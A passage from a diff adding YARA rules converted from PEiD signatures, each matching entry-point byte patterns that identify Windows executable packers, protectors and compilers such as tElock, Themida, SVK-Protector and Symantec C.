+rule PEiD_02171_SVK_Protector_v1_051_
+{
+    meta:
+        description = "[SVK-Protector v1.051]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 03 C7 84 E8 EB 03 C7 84 9A E8 00 00 00 00 5D 81 ED 10 00 00 00 EB 03 C7 84 E9 64 A0 23 00 00 00 EB}
+    condition:
+        $a
+}
+
+rule PEiD_02172_SVK_Protector_v1_11_
+{
+    meta:
+        description = "[SVK-Protector v1.11]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 06 ?? ?? ?? 64 A0 23}
+    condition:
+        $a
+}
+rule PEiD_02173_SVK_Protector_v1_32_
+{
+    meta:
+        description = "[SVK-Protector v1.32]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23}
+    condition:
+        $a
+}
+
+rule PEiD_02174_SVKP_v1_32____Pavol_Cerven__h__
+{
+    meta:
+        description = "[SVKP v1.32 -> Pavol Cerven (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61}
+    condition:
+        $a
+}
+rule PEiD_02175_SVKP_v1_42____Pavol_Cerven__h__
+{
+    meta:
+        description = "[SVKP v1.42 -> Pavol Cerven (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 49 DC EC 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 2D 67 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 2D 67 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 39 67 00 00 5D 6A FF FF 95 31 67}
+    condition:
+        $a
+}
+
+rule PEiD_02176_SVKP_v1_43____Pavol_Cerven__h__
+{
+    meta:
+        description = "[SVKP v1.43 -> Pavol Cerven (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 49 DC CE 05 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 2D 67 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 2D 67 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 39 67 00 00 5D 6A FF FF 95 31 67}
+    condition:
+        $a
+}
+rule PEiD_02177_Symantec_C_v2_10__v4_00_or_Zortech_C_v3_0r1_
+{
+    meta:
+        description = "[Symantec C v2.10, v4.00 or Zortech C v3.0r1]"
+        ep_only = "true"
+    strings:
+        $a = {FA FC B8 ?? ?? 8E D8}
+    condition:
+        $a
+}
+
+rule PEiD_02178_Symantec_C_v4_00___Libraries_
+{
+    meta:
+        description = "[Symantec C v4.00 + Libraries]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? DB E3 8E D8 8C 06 ?? ?? 8B D8 2B 1E ?? ?? 89 1E ?? ?? 26}
+    condition:
+        $a
+}
+rule PEiD_02179_Symantec_Visual_Cafe_v3_0_
+{
+    meta:
+        description = "[Symantec Visual Cafe v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {64 8B 05 ?? ?? ?? ?? 55 8B EC 6A FF 68 ?? ?? 40 ?? 68 ?? ?? 40 ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 08 50 53 56 57 89 65 E8 C7 45 FC}
+    condition:
+        $a
+}
+
+rule PEiD_02180_Symantec_WinFax_PRO_7_5_Coverpage_
+{
+    meta:
+        description = "[Symantec WinFax PRO 7.5 Coverpage]"
+        ep_only = "false"
+    strings:
+        $a = {0C BD 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C0 06 80}
+    condition:
+        $a
+}
+
+rule PEiD_02181_Symantec_WinFax_PRO_8_3_Coverpage_Quick_CoverPage_
+{
+    meta:
+        description = "[Symantec WinFax PRO 8.3 Coverpage Quick CoverPage]"
+        ep_only = "false"
+    strings:
+        $a = {FF FF ?? ?? ?? ?? ?? 43 6F 76 65 72 44 61 74 61 62 61 73 65}
+    condition:
+        $a
+}
+rule PEiD_02182_Symantec_WinFax_PRO_8_3_Coverpage_
+{
+    meta:
+        description = "[Symantec WinFax PRO 8.3 Coverpage]"
+        ep_only = "false"
+    strings:
+        $a = {0C BD 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C0 06 6C}
+    condition:
+        $a
+}
+
+rule PEiD_02183_T_PACK_v0_5c__m1_
+{
+    meta:
+        description = "[T-PACK v0.5c -m1]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 8E FE}
+    condition:
+        $a
+}
+rule PEiD_02184_T_PACK_v0_5c__m2_
+{
+    meta:
+        description = "[T-PACK v0.5c -m2]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 CE FD}
+    condition:
+        $a
+}
+
+rule PEiD_02185_TASM___MASM_
+{
+    meta:
+        description = "[TASM / MASM]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_02186_tElock_0_51____tE__
+{
+    meta:
+        description = "[tElock 0.51 -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 00 00 59 EB 01 EB AC 54 E8 03 00 00 00 5C EB 08 8D 64 24 04 FF 64 24 FC 6A 05 D0 2C 24 72 01 E8 01 24 24 5C F7 DC EB 02 CD 20 8D 64 24 FE F7 DC EB 02 CD 20 FE C8 E8 00 00 00 00 32 C1 EB 02 82 0D AA EB 03 82 0D 58 EB 02 1D 7A 49 EB 05 E8 01 00 00 00 7F AE 14 7E A0 77 76 75 74}
+    condition:
+        $a
+}
+rule PEiD_02187_tElock_0_96____tE__
+{
+    meta:
+        description = "[tElock 0.96 -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 59 E4 FF FF 00 00 00 00 00 00 00 ?? ?? ?? ?? EE ?? ?? 00 00 00 00 00 00 00 00 00 0E ?? ?? 00 FE ?? ?? 00 F6 ?? ?? 00 00 00 00 00 00 00 00 00 1B ?? ?? 00 06 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C}
+    condition:
+        $a
+}
+
+rule PEiD_02188_tElock_0_98____tE__
+{
+    meta:
+        description = "[tElock 0.98 -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E ?? ?? 00 00 00 00 00 00 00 00 00 3E ?? ?? 00 2E ?? ?? 00 26 ?? ?? 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 36 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65}
+    condition:
+        $a
+}
+
+rule PEiD_02189_tElock_0_98____tHE_EGOiSTE__h__
+{
+    meta:
+        description = "[tElock 0.98 -> tHE EGOiSTE (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_02190_tElock_0_98_Special_Build____forgot___heXer_
+{
+    meta:
+        description = "[tElock 0.98 Special Build -> forgot & heXer]"
+        ep_only = "true"
+    strings:
+        $a = {E9 99 D7 FF FF 00 00 00 ?? ?? ?? ?? AA ?? ?? 00 00 00 00 00 00 00 00 00 CA}
+    condition:
+        $a
+}
+/*
+rule PEiD_02191_tElock_0_99___1_0_private____tE__
+{
+    meta:
+        description = "[tElock 0.99 - 1.0 private -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_02192_tElock_0_99____tE__
+{
+    meta:
+        description = "[tElock 0.99 -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05}
+    condition:
+        $a
+}
+
+rule PEiD_02193_tElock_0_99_Special_Build____heXer___forgot_
+{
+    meta:
+        description = "[tElock 0.99 Special Build -> heXer & forgot]"
+        ep_only = "false"
+    strings:
+        $a = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00}
+    condition:
+        $a
+}
+/*
+rule PEiD_02194_tElock_0_99_
+{
+    meta:
+        description = "[tElock 0.99]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? 02 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_02195_tElock_0_99c__Private_ECLIPSE_____tE__
+{
+    meta:
+        description = "[tElock 0.99c (Private ECLIPSE) -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 3F DF FF FF 00 00 00 ?? ?? ?? ?? 04 ?? ?? 00 00 00 00 00 00 00 00 00 24 ?? ?? 00 14 ?? ?? 00 0C ?? ?? 00 00 00 00 00 00 00 00 00 31 ?? ?? 00 1C ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65}
+    condition:
+        $a
+}
+rule PEiD_02196_tElock_v0_41x_
+{
+    meta:
+        description = "[tElock v0.41x]"
+        ep_only = "true"
+    strings:
+        $a = {66 8B C0 8D 24 24 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 50 8B FE 68 78 01 ?? ?? 59 EB 01 EB AC 54 E8 03 ?? ?? ?? 5C EB 08}
+    condition:
+        $a
+}
+
+rule PEiD_02197_tElock_v0_42_
+{
+    meta:
+        description = "[tElock v0.42]"
+        ep_only = "true"
+    strings:
+        $a = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 52 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+    condition:
+        $a
+}
+rule PEiD_02198_tElock_v0_4x___v0_5x_
+{
+    meta:
+        description = "[tElock v0.4x - v0.5x]"
+        ep_only = "true"
+    strings:
+        $a = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 ?? 8B FE 68 79 01 ?? ?? 59 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_02199_tElock_v0_51_
+{
+    meta:
+        description = "[tElock v0.51]"
+        ep_only = "true"
+    strings:
+        $a = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+    condition:
+        $a
+}
+
+rule PEiD_02200_tElock_v0_60_
+{
+    meta:
+        description = "[tElock v0.60]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08}
+    condition:
+        $a
+}
+
+rule PEiD_02201_tElock_v0_70_
+{
+    meta:
+        description = "[tElock v0.70]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 BD 10 00 00 C3 83 E2 00 F9 75 FA 70}
+    condition:
+        $a
+}
+rule PEiD_02202_tElock_v0_71_
+{
+    meta:
+        description = "[tElock v0.71]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ED 10 00 00 C3 83}
+    condition:
+        $a
+}
+
+rule PEiD_02203_tElock_v0_71b2_
+{
+    meta:
+        description = "[tElock v0.71b2]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 44 11 00 00 C3 83}
+    condition:
+        $a
+}
+
+rule PEiD_02204_tElock_v0_71b7_
+{
+    meta:
+        description = "[tElock v0.71b7]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 48 11 00 00 C3 83}
+    condition:
+        $a
+}
+
+rule PEiD_02205_tElock_v0_7x___v0_84_
+{
+    meta:
+        description = "[tElock v0.7x - v0.84]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 C3 83}
+    condition:
+        $a
+}
+
+rule PEiD_02206_tElock_v0_80_
+{
+    meta:
+        description = "[tElock v0.80]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 F9 11 00 00 C3 83}
+    condition:
+        $a
+}
+rule PEiD_02207_tElock_v0_85f_
+{
+    meta:
+        description = "[tElock v0.85f]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 CD 20 E8 00 00 00 00 5E 2B C9 58 74 02}
+    condition:
+        $a
+}
+
+rule PEiD_02208_tElock_v0_90_
+{
+    meta:
+        description = "[tElock v0.90]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? E8 02 00 00 00 E8 00 E8 00 00 00 00 5E 2B}
+    condition:
+        $a
+}
+
+rule PEiD_02209_tElock_v0_92a_
+{
+    meta:
+        description = "[tElock v0.92a]"
+        ep_only = "true"
+    strings:
+        $a = {E9 7E E9 FF FF 00}
+    condition:
+        $a
+}
+rule PEiD_02210_tElock_v0_95_
+{
+    meta:
+        description = "[tElock v0.95]"
+        ep_only = "true"
+    strings:
+        $a = {E9 D5 E4 FF FF 00}
+    condition:
+        $a
+}
+
+rule PEiD_02211_tElock_v0_96_
+{
+    meta:
+        description = "[tElock v0.96]"
+        ep_only = "true"
+    strings:
+        $a = {E9 59 E4 FF FF 00}
+    condition:
+        $a
+}
+rule PEiD_02212_tElock_v0_98____tHE_EGOiSTE__h__
+{
+    meta:
+        description = "[tElock v0.98 -> tHE EGOiSTE (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02213_tElock_v0_98_
+{
+    meta:
+        description = "[tElock v0.98]"
+        ep_only = "true"
+    strings:
+        $a = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E}
+    condition:
+        $a
+}
+rule PEiD_02214_tElock_v0_98b1_
+{
+    meta:
+        description = "[tElock v0.98b1]"
+        ep_only = "true"
+    strings:
+        $a = {E9 25 E4 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02215_tElock_v0_98b2_
+{
+    meta:
+        description = "[tElock v0.98b2]"
+        ep_only = "true"
+    strings:
+        $a = {E9 1B E4 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02216_tElock_v0_99_Special_Build____heXer___forgot_
+{
+    meta:
+        description = "[tElock v0.99 Special Build -> heXer & forgot]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02217_tElock_v1_00_
+{
+    meta:
+        description = "[tElock v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {E9 E5 E2 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02218_The_aPE_Inline_Patch_Basic__Advanced__Stealth__
+{
+    meta:
+        description = "[The aPE Inline Patch Basic, Advanced, Stealth)]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? ?? 00 E8 ?? ?? 00 00 89 01 68}
+    condition:
+        $a
+}
+
+rule PEiD_02219_The_aPE_Inline_Patch_ExtraStealth__SuperStealth__
+{
+    meta:
+        description = "[The aPE Inline Patch ExtraStealth, SuperStealth)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 02 ?? ?? ?? EB 01 C3 3E 8B 44 24 FC 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89}
+    condition:
+        $a
+}
+
+
+rule PEiD_02220_The_Guard_Library_
+{
+    meta:
+        description = "[The Guard Library]"
+        ep_only = "true"
+    strings:
+        $a = {50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_02221_The_Norton_Antivirus_Information_file_
+{
+    meta:
+        description = "[The Norton Antivirus Information file]"
+        ep_only = "false"
+    strings:
+        $a = {54 68 65 20 4E 6F 72 74 6F 6E 20 41 6E 74 69 56 69 72 75 73 20 49 6E 66 6F 72 6D 61 74 69 6F 6E 20 46 69 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_02222_TheHyper_s_protector____TheHyper__h__
+{
+    meta:
+        description = "[TheHyper's protector -> TheHyper (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? 02 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02223_TheHyper_s_protector____TheHyper__h__
+{
+    meta:
+        description = "[TheHyper's protector -> TheHyper (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? 02 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8 0C 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 53 8B 06 FF 10 89 47 04 E8 0F 00 00 00 47 65 74 50 72 6F 63 65 73 73 48 65 61 70 00 53 8B 06 FF 10 89 47 08 E8 0A 00 00 00 48 65 61 70 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 47 0C E8 09 00 00 00 48 65 61 70 46 72 65 65 00 53 8B 06 FF 10 89 47 10 57 FF 76 08 FF 76 0C FF 56 10 8B E5 5D}
+    condition:
+        $a
+}
+
+rule PEiD_02224_TheHyper_s_protector____TheHyper__h__
+{
+    meta:
+        description = "[TheHyper's protector -> TheHyper (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? ?? 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8 0C 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 53 8B 06 FF 10 89 47 04 E8 0F 00 00 00 47 65 74 50 72 6F 63 65 73 73 48 65 61 70 00 53 8B 06 FF 10 89 47 08 E8 0A 00 00 00 48 65 61 70 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 47 0C E8 09 00 00 00 48 65 61 70 46 72 65 65 00 53 8B 06 FF 10 89 47 10 57 FF 76 08 FF 76 0C FF 56 10 8B E5 5D}
+    condition:
+        $a
+}
+
+rule PEiD_02225_Themida____Oreans_Technologies_2004_
+{
+    meta:
+        description = "[Themida -> Oreans Technologies 2004]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02226_themida_1_0_0_5____http___www_oreans_com_
+{
+    meta:
+        description = "[themida 1.0.0.5 -> http?//www.oreans.com]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44}
+    condition:
+        $a
+}
+rule PEiD_02227_Themida_1_0_x_x___1_8_0_0__compressed_engine_____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida 1.0.x.x - 1.8.0.0 (compressed engine) -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+    condition:
+        $a
+}
+
+rule PEiD_02228_Themida_1_0_x_x___1_8_0_0__compressed_engine_____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida 1.0.x.x - 1.8.0.0 (compressed engine) -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 5A ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01}
+    condition:
+        $a
+}
+rule PEiD_02229_Themida_1_0_x_x___1_8_x_x__no_compression_____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.0.x.x - 1.8.x.x (no compression) -> Oreans Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02230_Themida_1_0_x_x___1_8_x_x__no_compression_____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.0.x.x - 1.8.x.x (no compression) -> Oreans Technologies (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8D 45 80 8B 5D 08 C7 85 7C FF FF FF 00 00 00 00 8B 8D 7C FF FF FF D1 C3 88 18 41 89 8D 7C FF FF FF 81 BD 7C FF FF FF 80 00 00 00 75 E3 C7 85 7C FF FF FF 00 00 00 00 8D BA ?? ?? ?? ?? 8D 75 80 8A 0E BB F4 01 00 00 B8 AB 37 54 78 D3 D0 8A 0F D3 D0 4B 75 F7 0F AF C3 47 46 8B 8D 7C FF FF FF 41 89 8D 7C FF FF FF 81 F9 80 00 00 00 75 D1 61 C9 C2 04 00 55 8B EC 83 C4 F0 8B 75 08 C7 45 FC 00 00 00 00 EB 04 FF 45 FC 46 80 3E 00 75 F7 BA 00 00 00 00 8B 75 08 8B 7D 0C EB 7F C7 45 F8 00 00 00 00 EB}
+    condition:
+        $a
+}
+rule PEiD_02231_Themida_1_2_0_1__compressed_____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.2.0.1 (compressed) -> Oreans Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+    condition:
+        $a
+}
+
+rule PEiD_02232_Themida_1_2_0_1__compressed_____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.2.0.1 (compressed) -> Oreans Technologies (h)]"
+        ep_only = "true"
+    strings:
